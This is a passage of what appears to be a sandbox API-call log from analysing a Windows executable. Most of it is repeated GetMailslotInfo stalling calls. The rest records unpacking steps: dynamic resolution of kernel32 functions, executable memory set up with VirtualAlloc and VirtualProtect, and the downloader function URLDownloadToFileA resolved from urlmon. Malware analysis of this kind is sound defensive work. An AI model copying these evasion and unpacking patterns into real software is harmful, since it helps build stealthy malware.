lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.139] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.140] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.141] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.196] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0025.202] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0025.206] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0025.216] VirtualProtect (in: lpAddress=0x5527e8, dwSize=0x89d0, flNewProtect=0x40, lpflOldProtect=0x18fd4c | out: lpflOldProtect=0x18fd4c*=0x4) returned 1 [0025.252] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0025.252] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0025.253] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0025.255] Module32First (hSnapshot=0x30, lpme=0x18f948) returned 1 [0025.255] VirtualAlloc (lpAddress=0x0, dwSize=0xe650, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0025.258] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0025.258] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0025.258] SetErrorMode (uMode=0x400) returned 0x0 [0025.258] SetErrorMode (uMode=0x0) returned 0x400 [0025.259] GetVersionExA (in: lpVersionInformation=0x18e878*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e878*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0025.259] VirtualAlloc (lpAddress=0x0, dwSize=0xd800, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0025.260] VirtualProtect (in: lpAddress=0x400000, dwSize=0x11000, flNewProtect=0x40, lpflOldProtect=0x18f900 | out: lpflOldProtect=0x18f900*=0x2) returned 1 [0025.262] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0025.262] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75da0000 [0030.927] GetProcAddress (hModule=0x75da0000, lpProcName="URLDownloadToFileA") returned 0x75e368d0 [0030.927] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0030.927] GetProcAddress (hModule=0x75340000, lpProcName="wnsprintfA") returned 0x7536edae [0030.927] GetProcAddress (hModule=0x75340000, lpProcName="StrStrW") returned 0x7534e52d [0030.928] GetProcAddress (hModule=0x75340000, lpProcName="wnsprintfW") returned 0x7536ef87 [0030.928] LoadLibraryA (lpLibFileName="MSVCRT.dll") returned 0x74e10000 [0030.928] GetProcAddress (hModule=0x74e10000, lpProcName="memcpy") returned 0x74e19910 [0030.928] GetProcAddress (hModule=0x74e10000, lpProcName="memset") returned 0x74e19790 